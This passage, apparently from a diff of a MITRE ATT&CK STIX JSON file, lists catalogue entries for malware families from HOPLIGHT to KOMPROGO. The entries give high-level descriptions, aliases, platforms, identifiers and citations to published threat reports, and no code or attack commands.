"created": "2019-04-19T15:30:36.593Z", + "modified": "2019-04-22T19:41:53.168Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0376", + "url": "https://attack.mitre.org/software/S0376" + }, + { + "description": "(Citation: US-CERT HOPLIGHT Apr 2019)", + "source_name": "HOPLIGHT" + }, + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ] + }, + { + "name": "HTTPBrowser", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "HTTPBrowser", + "Token Control", + "HttpDump" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "created": "2017-05-31T21:32:46.445Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0070", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0070" + }, + { + "description": "(Citation: ThreatConnect Anthem)", + "source_name": "HttpDump" + }, + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "description": "ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.", + "source_name": "ThreatConnect Anthem", + "url": "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" + }, + { + "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.", + "source_name": "ThreatStream Evasion Analysis", + "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + } + ] + }, + { + "name": "Hacking Team UEFI Rootkit", + "description": "[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)", + "id": "malware--4b62ab58-c23b-4704-9c15-edd568cd59f8", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Hacking Team UEFI Rootkit" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:35.389Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0047", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0047" + }, + { + "description": "Lin, P. (2015, July 13). Hacking Team Uses UEFI BIOS Rootkit to Keep RCS 9 Agent in Target Systems. Retrieved December 11, 2015.", + "source_name": "TrendMicro Hacking Team UEFI", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/" + } + ] + }, + { + "name": "Helminth", + "description": "[Helminth](https://attack.mitre.org/software/S0170) is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)", + "id": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Helminth" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Robert Falcone" + ], + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0170", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0170" + }, + { + "description": "(Citation: Palo Alto OilRig May 2016)", + "source_name": "Helminth" + }, + { + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "labels": [ + "malware" + ] + }, + { + "name": "Hi-Zor", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) is a remote access tool (RAT) that has characteristics similar to [Sakula](https://attack.mitre.org/software/S0074). It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Hi-Zor" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "created": "2017-05-31T21:32:56.860Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0087", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0087" + }, + { + "description": "Fidelis Threat Research Team. (2016, January 27). Introducing Hi-Zor RAT. Retrieved March 24, 2016.", + "source_name": "Fidelis Hi-Zor", + "url": "http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html" + } + ] + }, + { + "name": "HiddenWasp", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statistically linked ELF binary with stdlibc++.(Citation: Intezer HiddenWasp Map 2019)", + "id": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "x_mitre_platforms": [ + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "HiddenWasp" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-06-24T12:04:32.323Z", + "modified": "2019-07-06T22:20:35.051Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0394", + "url": "https://attack.mitre.org/software/S0394" + }, + { + "description": "(Citation: Intezer HiddenWasp Map 2019)", + "source_name": "HiddenWasp" + }, + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ] + }, + { + "name": "Hikit", + "description": "[Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise. (Citation: Novetta-Axiom)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Hikit" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--95047f03-4811-4300-922e-1ba937d53a61", + "created": "2017-05-31T21:32:14.124Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0009", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0009" + }, + { + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "source_name": "Novetta-Axiom", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ] + }, + { + "name": "Hydraq", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025). (Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2013) (Citation: PaloAlto 3102 Sept 2015)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Hydraq", + "Aurora", + "9002 RAT" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0203", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0203" + }, + { + "description": "(Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010)", + "source_name": "Hydraq" + }, + { + "description": "(Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010)", + "source_name": "Aurora" + }, + { + "description": "(Citation: MicroFocus 9002 Aug 2016)", + "source_name": "9002 RAT" + }, + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "description": "Petrovsky, O. (2016, August 30). \u201c9002 RAT\u201d -- a second building on the left. Retrieved February 20, 2018.", + "source_name": "MicroFocus 9002 Aug 2016", + "url": "https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ" + }, + { + "description": "ASERT. (2015, August). ASERT Threat Intelligence Report \u2013 Uncovering the Seven Pointed Dagger. Retrieved March 19, 2018.", + "source_name": "ASERT Seven Pointed Dagger Aug 2015", + "url": "https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf" + }, + { + "description": "Moran, N. et al.. (2013, November 10). Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method. Retrieved March 19, 2018.", + "source_name": "FireEye DeputyDog 9002 November 2013", + "url": "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html" + }, + { + "description": "Huss, D. & Mesa, M. (2017, August 25). Operation RAT Cook: Chinese APT actors use fake Game of Thrones leaks as lures. Retrieved March 19, 2018.", + "source_name": "ProofPoint GoT 9002 Aug 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures" + }, + { + "description": "Moran, N. (2013, May 20). Ready for Summer: The Sunshop Campaign. Retrieved March 19, 2018.", + "source_name": "FireEye Sunshop Campaign May 2013", + "url": "https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html" + }, + { + "description": "Falcone, R. & Miller-Osborn, J. (2015, September 23). Chinese Actors Use \u20183102\u2019 Malware in Attacks on US Government and EU Media. Retrieved March 19, 2018.", + "source_name": "PaloAlto 3102 Sept 2015", + "url": "https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/" + } + ] + }, + { + "name": "HyperBro", + "description": "[HyperBro](https://attack.mitre.org/software/S0398) is a custom in-memory backdoor used by [Threat Group-3390](https://attack.mitre.org/groups/G0027).(Citation: Unit42 Emissary Panda May 2019)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)", + "id": "malware--5e814485-012d-423d-b769-026bfed0f451", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "HyperBro" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-07-09T17:42:44.777Z", + "modified": "2019-09-26T20:11:30.343Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0398", + "url": "https://attack.mitre.org/software/S0398" + }, + { + "description": "(Citation: Unit42 Emissary Panda May 2019)", + "source_name": "HyperBro" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + }, + { + "source_name": "Hacker News LuckyMouse June 2018", + "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.", + "url": "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html" + } + ] + }, + { + "name": "ISMInjector", + "description": "[ISMInjector](https://attack.mitre.org/software/S0189) is a Trojan used to install another [OilRig](https://attack.mitre.org/groups/G0049) backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)", + "id": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ISMInjector" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Robert Falcone" + ], + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0189", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0189" + }, + { + "description": "(Citation: OilRig New Delivery Oct 2017)", + "source_name": "ISMInjector" + }, + { + "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", + "source_name": "OilRig New Delivery Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" + } + ], + "labels": [ + "malware" + ] + }, + { + "name": "InnaputRAT", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) is a remote access tool that can exfiltrate files from a victim\u2019s machine. [InnaputRAT](https://attack.mitre.org/software/S0259) has been seen out in the wild since 2016. (Citation: ASERT InnaputRAT April 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "InnaputRAT" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0259", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0259" + }, + { + "description": "(Citation: ASERT InnaputRAT April 2018)", + "source_name": "InnaputRAT" + }, + { + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "source_name": "ASERT InnaputRAT April 2018", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ] + }, + { + "name": "InvisiMole", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) is a modular spyware program that has been used by threat actors since at least 2013. [InvisiMole](https://attack.mitre.org/software/S0260) has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. (Citation: ESET InvisiMole June 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "InvisiMole" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0260", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0260" + }, + { + "description": "(Citation: ESET InvisiMole June 2018)", + "source_name": "InvisiMole" + }, + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ] + }, + { + "name": "Ixeshe", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) is a malware family that has been used since at least 2009 against targets in East Asia. (Citation: Moran 2013)", + "id": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Ixeshe" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:16.360Z", + "modified": "2019-06-10T19:29:30.518Z", + "external_references": [ + { + "external_id": "S0015", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0015" + }, + { + "source_name": "Moran 2013", + "description": "Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html" + } + ] + }, + { + "name": "JCry", + "description": "[JCry](https://attack.mitre.org/software/S0389) is ransomware written in Go. It was identified as apart of the #OpJerusalem 2019 campaign.(Citation: Carbon Black JCry May 2019)", + "id": "malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "JCry" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-06-18T17:20:43.635Z", + "modified": "2019-06-30T23:03:25.914Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0389", + "url": "https://attack.mitre.org/software/S0389" + }, + { + "description": "(Citation: Carbon Black JCry May 2019)", + "source_name": "JCry" + }, + { + "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019.", + "source_name": "Carbon Black JCry May 2019", + "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/" + } + ] + }, + { + "name": "JHUHUGIT", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) is malware used by [APT28](https://attack.mitre.org/groups/G0007). It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "JHUHUGIT", + "Trojan.Sofacy", + "Seduploader", + "JKEYSKW", + "Sednit", + "GAMEFISH", + "SofacyCarberp" + ], + "type": "malware", + "x_mitre_version": "2.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "created": "2017-05-31T21:32:34.199Z", + "modified": "2019-02-01T14:39:35.456Z", + "external_references": [ + { + "external_id": "S0044", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0044" + }, + { + "source_name": "JHUHUGIT", + "description": "(Citation: FireEye APT28 January 2017)" + }, + { + "source_name": "Trojan.Sofacy", + "description": "This designation has been used in reporting both to refer to the threat group (Skeleton Key) and its associated malware.(Citation: Symantec APT28 Oct 2018)" + }, + { + "source_name": "Seduploader", + "description": "(Citation: FireEye APT28 January 2017)(Citation: Talos Seduploader Oct 2017)" + }, + { + "source_name": "JKEYSKW", + "description": "(Citation: FireEye APT28 January 2017)" + }, + { + "source_name": "Sednit", + "description": "This designation has been used in reporting both to refer to the threat group (APT28) and its associated malware.(Citation: FireEye APT28 January 2017)" + }, + { + "source_name": "GAMEFISH", + "description": "(Citation: FireEye APT28 January 2017)" + }, + { + "source_name": "SofacyCarberp", + "description": "(Citation: Unit 42 Sofacy Feb 2018)" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "description": "F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.", + "source_name": "F-Secure Sofacy 2015", + "url": "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/" + }, + { + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "source_name": "ESET Sednit Part 1", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "FireEye APT28 January 2017", + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + }, + { + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "source_name": "Symantec APT28 Oct 2018", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + }, + { + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "source_name": "Unit 42 Sofacy Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + } + ] + }, + { + "name": "JPIN", + "description": "[JPIN](https://attack.mitre.org/software/S0201) is a custom-built backdoor family used by [PLATINUM](https://attack.mitre.org/groups/G0068). Evidence suggests developers of [JPIN](https://attack.mitre.org/software/S0201) and [Dipsind](https://attack.mitre.org/software/S0200) code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)", + "id": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "JPIN" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Ryan Becwar" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0201", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0201" + }, + { + "description": "(Citation: Microsoft PLATINUM April 2016)", + "source_name": "JPIN" + }, + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "labels": [ + "malware" + ] + }, + { + "name": "Janicab", + "description": "[Janicab](https://attack.mitre.org/software/S0163) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Janicab" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--234e7770-99b0-4f65-b983-d3230f76a60b", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0163", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0163" + }, + { + "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", + "source_name": "Janicab", + "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/" + } + ] + }, + { + "name": "KARAE", + "description": "[KARAE](https://attack.mitre.org/software/S0215) is a backdoor typically used by [APT37](https://attack.mitre.org/groups/G0067) as first-stage malware. (Citation: FireEye APT37 Feb 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "KARAE" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0215", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0215" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "KARAE" + }, + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ] + }, + { + "name": "KEYMARBLE", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) is a Trojan that has reportedly been used by the North Korean government. (Citation: US-CERT KEYMARBLE Aug 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "KEYMARBLE" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0271", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0271" + }, + { + "description": "(Citation: US-CERT KEYMARBLE Aug 2018)", + "source_name": "KEYMARBLE" + }, + { + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "source_name": "US-CERT KEYMARBLE Aug 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ] + }, + { + "name": "KOMPROGO", + "description": "[KOMPROGO](https://attack.mitre.org/software/S0156) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050) that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "KOMPROGO" + ], + "type": "malware", + 